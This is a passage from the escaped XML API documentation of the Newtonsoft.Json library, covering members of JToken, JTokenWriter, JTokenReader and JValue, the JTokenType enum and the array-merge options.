flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepClone\">\n            <summary>\n            Creates a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>. All child tokens are recursively cloned.\n            </summary>\n            <returns>A new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAnnotation(System.Object)\">\n            <summary>\n            Adds an object to the annotation list of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"annotation\">The annotation to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation``1\">\n            <summary>\n            Get the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotation to retrieve.</typeparam>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation(System.Type)\">\n            <summary>\n            Gets the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotation to retrieve.</param>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations``1\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotations to retrieve.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the annotations for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations(System.Type)\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotations to retrieve.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:System.Object\"/> that contains the annotations that match the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations``1\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of annotations to remove.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations(System.Type)\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of annotations to remove.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\">\n            <summary>\n            Compares tokens to determine whether they are equal.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.Equals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the specified objects are equal.\n            </summary>\n            <param name=\"x\">The first object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"y\">The second object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns>\n            <c>true</c> if the specified objects are equal; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.GetHashCode(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Returns a hash code for the specified object.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> for which a hash code is to be returned.</param>\n            <returns>A hash code for the specified object.</returns>\n            <exception cref=\"T:System.ArgumentNullException\">The type of <paramref name=\"obj\"/> is a reference type and <paramref name=\"obj\"/> is <c>null</c>.</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the reader's current position.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken,System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n            <param name=\"initialPath\">The initial path of the token. It is prepended to the returned <see cref=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenType\">\n            <summary>\n            Specifies the type of token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.None\">\n            <summary>\n            No token type has been set.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Object\">\n            <summary>\n            A JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Array\">\n            <summary>\n            A JSON array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Constructor\">\n            <summary>\n            A JSON constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Property\">\n            <summary>\n            A JSON object property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Integer\">\n            <summary>\n            An integer value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Float\">\n            <summary>\n            A float value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.String\">\n            <summary>\n            A string value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Boolean\">\n            <summary>\n            A boolean value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Null\">\n            <summary>\n            A null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Undefined\">\n            <summary>\n            An undefined value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Date\">\n            <summary>\n            A date value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Raw\">\n            <summary>\n            A raw JSON value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Bytes\">\n            <summary>\n            A collection of bytes value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Guid\">\n            <summary>\n            A Guid value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Uri\">\n            <summary>\n            A Uri value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.TimeSpan\">\n            <summary>\n            A TimeSpan value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the writer's current position.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.Token\">\n            <summary>\n            Gets the token being written.\n            </summary>\n            <value>The token being written.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor(Newtonsoft.Json.Linq.JContainer)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class writing to the given <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n            <param name=\"container\">The container being written to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n            <remarks>\n            Setting <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> to <c>true</c> has no additional effect, since the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/> is a type that cannot be closed.\n            </remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will be raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JValue\">\n            <summary>\n            Represents a value in JSON (string, integer, date, etc).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Int64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Decimal)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Char)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.UInt64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Double)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Single)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTime)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTimeOffset)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Guid)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Uri)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.TimeSpan)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateComment(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateString(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateNull\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateUndefined\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Value\">\n            <summary>\n            Gets or sets the underlying token value.\n            </summary>\n            <value>The underlying token value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Indicates whether the current object is equal to another object of the same type.\n            </summary>\n            <returns>\n            <c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"other\">An object to compare with this object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with the current <see cref=\"T:System.Object\"/>.</param>\n            <returns>\n            <c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetHashCode\">\n            <summary>\n            Serves as a hash function for a particular type.\n            </summary>\n            <returns>\n            A hash code for the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String,System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CompareTo(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object.\n            </summary>\n            <param name=\"obj\">An object to compare with this instance.</param>\n            <returns>\n            A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings:\n            Value\n            Meaning\n            Less than zero\n            This instance is less than <paramref name=\"obj\"/>.\n            Zero\n            This instance is equal to <paramref name=\"obj\"/>.\n            Greater than zero\n            This instance is greater than <paramref name=\"obj\"/>.\n            </returns>\n            <exception cref=\"T:System.ArgumentException\">\n            \t<paramref name=\"obj\"/> is not of the same type as this instance.\n            </exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.LineInfoHandling\">\n            <summary>\n            Specifies how line information is handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Ignore\">\n            <summary>\n            Ignore line information.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\">\n            <summary>\n            Load line information.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeArrayHandling\">\n            <summary>\n            Specifies how JSON arrays are merged together.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Concat\">\n            <summary>Concatenate arrays.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Union\">\n            <summary>Union arrays, skipping items that already exist.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Replace\">\n            <summary>Replace all array items.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Merge\">\n            <summary>Merge array items together, matched by index.</summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeNullValueHandling\">\n            <summary>\n            Specifies how null value properties are merged.\n            </summary>\n        </member>\n        <member 